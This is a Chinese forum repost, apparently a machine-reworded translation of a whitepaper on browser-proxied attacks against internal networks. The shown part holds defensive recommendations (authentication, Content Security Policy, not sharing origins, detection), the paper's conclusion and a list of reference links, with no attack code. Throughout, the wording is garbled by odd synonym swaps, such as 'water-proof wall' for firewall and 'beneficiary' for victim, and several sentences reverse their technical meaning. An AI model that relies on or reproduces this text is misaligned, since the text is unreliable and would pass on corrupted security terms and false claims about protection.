关于 Web 开辟职员该当观点到假设差别子域之间同享差异的源,则一身材域上的 XSS漏洞 可以会通报到到另外一身材域,不但许可编纂恳求,借许可进犯者读与(即浏览)。只需正在真实需要时才同享源,并保证您没有正在内部战内部 Web效劳 器之间同享源。
关于隐衷最主要的情况而且使用 TOR 收集用于通信的情况,请保证没有要变动没有许可浏览器跟尾到 localhost 战当地局域网的默认设置。许可取当地收集的跟尾可以用于对于 TOR 用户截至来藏名化,比方颠末背易受进犯的路由器收回 CSRF 恳求,请求它背某个内部站面收回 ping 恳求,进而显现大众 IP 地点。
凡是关于末端用户:即使关于正在 localhost/内部运行的效劳(特别是关于 HTTP/HTTPS 交心),也要使用身份考证,假设可以,最佳使用多因素身份考证(MFA),大概树立强暗码。完毕效劳使用后应注销:即使需要强身份考证,假设得益者正在目前登录某效劳时浏览到歹意站面,该效劳可以会受到进犯,因为该效劳易受 CSRF 进犯。最初要留神的是,正在浏览器中封闭 JavaScript 其实不脚以抵抗当地进犯,因为能够使用简朴的 GET 恳求(一般 HTTP 链交)或者使用 HTML 表单施行某些 CSRF 进犯,而没有需要所有 JavaScript。
保证您的使用没法进犯别的使用

固然 CSRF 防备旨正在保证您的使用法式没法胜利受到进犯,但是借需要采纳另外一项步伐去保证您的使用法式没法进犯其余使用法式(比方颠末某些 XSS漏洞 )。对于此的一个很佳的办法是实质宁静战略(CSP),它将阻遏对于当地主机/内部收集的很多进犯。 CSP 是一种利剑名双方法,许可您设置许可使用法式取之通信的主机。能够正在网上找到多少个很佳的 CSP 介绍 [27]。  为何您以至需要关心颠末增加 CSP 头去保证您的使用法式没法进犯其余使用法式?比方,假设进犯者发明您站面中存留某些 XSS漏洞 ,他能够使用得益者对于您站面的信赖,注进一点儿对于当地主机/内部收集截至进犯的 JavaScript,除非 CSP 阻遏他如许干。
但是请留神,CSP 没有是能够起到统统防备感化:比方,使用 HTTP 302/Location HTTP 头的沉定背将没有契合 CSP 设置。绕过 CSP 划定规矩的其余示例也存留于 [28] [29] [30]。出于那个启事,CSP自身 并无供给完善的庇护,固然它确实使进犯越发艰难。
关于防备的归纳

咱们明白,正在所无情况下实施上述统统倡议可以其实不理论,可以是因为资本无限,浏览器默认树立或者供给商已对于易受进犯的装备截至建设。咱们倡议关于那些情况最少施行检测。
归纳

咱们已经展示了一个进犯链,那些进犯即使面临防水墙也能从公网倡议进犯:颠末得益者浏览器,您能够正在内乱网查找主机战盛开端心,对于盛开端心干指纹识别并终极使用它们。此进犯链事情所需的唯一宁静成就是,要使用的效劳简单受到 CSRF 的进犯。除此以外,进犯的每步皆依靠于根据预期事情的工作。
除描绘那些进犯的手艺细节以外,咱们借会商了检测它们的办法,并给出了削减进犯里的倡议。
明显,现代 Web 浏览器不克不及很佳的防备从公网倡议使用得益者的浏览器动作代办署理会见内乱网的进犯。别的,使用得益者的浏览器动作代办署理不但会绕过中心防水墙,借会绕过所有鉴于主机的防水墙。防水墙可以会记载从内部站面获得歹意 JavaScript,但是对于内乱网的后绝进犯以至没有会颠末中心防水墙。
浏览器供给商应思考默认避免从大众到私有的标的目的的逾越大众/私有 IP 鸿沟的跟尾。(但是必需许可差异的标的目的,因为很多内部页里可以出于完整公道的启事而获得内部资本。)
收集宁静装备(防水墙,IPS,Web 代办署理等)的供给商该当具有可靠的 JavaScript 反混合糊引擎,以辅佐检测那些进犯。正在很多情况下,歹意代码的混合会经常发作变革,而代码的根本企图则没有会。因而,关于反混合版原的歹意代码,能够越发可靠天检测从大众 IP地点到私有 IP 地点的跟尾。  颠末长途跨域 JavaScript中止 的当地进犯代表了经常被无视的进犯里,企业用户战野庭用户皆面对着当地进犯的危急。年夜大都野用路由器皆有 CSRF漏洞 ,很少装置最新的补钉,并且它们凡是使用已经知的牢固 IP 地点 - 那些属性使它们易于定位。
从主动的圆里来讲,当地进犯不但需要手艺准备,借需要社会工程的一部门。需要欺骗得益者会见可以施行当地进犯的歹意站面。可怜的是,汗青表白,进犯者凡是会胜利天欺骗得益者会见歹意网站。
别的,咱们借展示了假设内部战内部 Web效劳 器同享差异的源,进犯者可以怎样正在内部收集上浏览某些站面。
最初,咱们要夸大的是,咱们正在原利剑皮书籍中展示的进犯该当成为进步内部收集宁静性的来由,不管是效劳器仍是事情站。处于侦察目标绕过共源战略,浏览内乱网的边沿情况和颠末 CSRF 进犯内部效劳皆夸大了内部使用法式的宁静性必需获得认真看待的幻想。即使您信赖您的用户没有会进犯您,您自己的用户也没有是您唯一存眷的成就。
除前面概括的检测战庇护手艺步伐以外,借需要对于办理员战终极用户截至训练,出格夸大内部宁静十分主要。邪如咱们所示,中心防水墙完整庇护内部收集,而且鉴于主机的防水墙完整庇护当地效劳是一个出缺陷的假定。
资本

[1]: https://www.slideshare.net/netsparker/hacking-vulnerable-websites-to-bypass-firewalls
[2]: https://blog.beefproject.com/2014/03/exploiting-with-beef-bind-shellcode_19.html
[3]: https://bugs.chromium.org/p/project-zero/issues/detail?id=1663
[4]: https://developer.mozilla.org/en-US/docs/Web/Security/Same-originpolicy#Cross-originnetwork_access
[5]: https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS
[6]: https://en.wikipedia.org/wiki/DNS_rebinding
[7]: https://www.owasp.org/index.php/Cross-SiteRequestForgery_(CSRF)
[8]: https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html
[9]: https://www.secforce.com/blog/2012/11/inter-protocol-co妹妹unication/
[10]: https://en.wikipedia.org/wiki/Inter-protocol_exploitation
[11]: https://www.nccgroup.trust/globalassets/our-research/us/whitepapers/2018/cprf-1.pdf
[12]: https://chromium.谷歌source.com/chromium/src/+/master/net/base/port_util.cc
[13]: https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html
[14]: http://net.ipcalf.com/
[15]: https://defuse.ca/in-browser-port-scanning.htm
[16]: https://github.com/aabeling/portscan
[17]: https://github.com/SkyLined/LocalNetworkScanner/
[18]: https://blog.skylined.nl/LocalNetworkScanner/
[19]: https://cirt.net/Nikto2
[20]: http://yokoso.inguardians.com
[21]: https://developer.mozilla.org/en-US/docs/Web/Security/Same-originpolicy#Changingorigin
[22]: https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password
[23]: https://groups.谷歌.com/forum/#!topic/jenkinsci-advisories/lJfvDs5s6bk
[24]: http://s3.amazonaws.com/alexa-static/top-1m.csv.zip
[25]: https://www.foxnews.com/tech/hackers-using-porn-as-bait-for-online-scams-that-steal-your-data-and-money-by-the-second
[26]: https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross-SiteRequestForgeryPreventionCheat_Sheet.md
[27]: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
[28]: https://blog.compass-security.com/2016/06/content-security-policy-misconfigurations-and-bypasses/
[29]: https://www.hackinbo.it/slides/1494231338SpagnuoloHack%20In%20Bo%20-%20So%20we%20broke%20all%20CSPs...%20You%20won%27t%20guess%20what%20happened%20next%21.pdf
[30]: https://html5sec.org/minichallenges/3
能够扫描两维码大概搜刮 mad_coder 存眷微疑公家号,面打浏览本文能够获得链交版本文。
使用浏览器动作代办署理从公网进犯内乱网-7.png
您需要登录后才可以回帖 登录 | 立即注册 qq_login

本版积分规则

avatar

关注0

粉丝0

帖子103

发布主题
阅读排行更多+
用专业创造成效
400-778-7781
周一至周五 9:00-18:00
意见反馈:server@mailiao.group
紧急联系:181-67184787
ftqrcode

扫一扫关注我们

Powered by 职贝云数A新零售门户 X3.5© 2004-2025 职贝云数 Inc.( 蜀ICP备2024104722号 )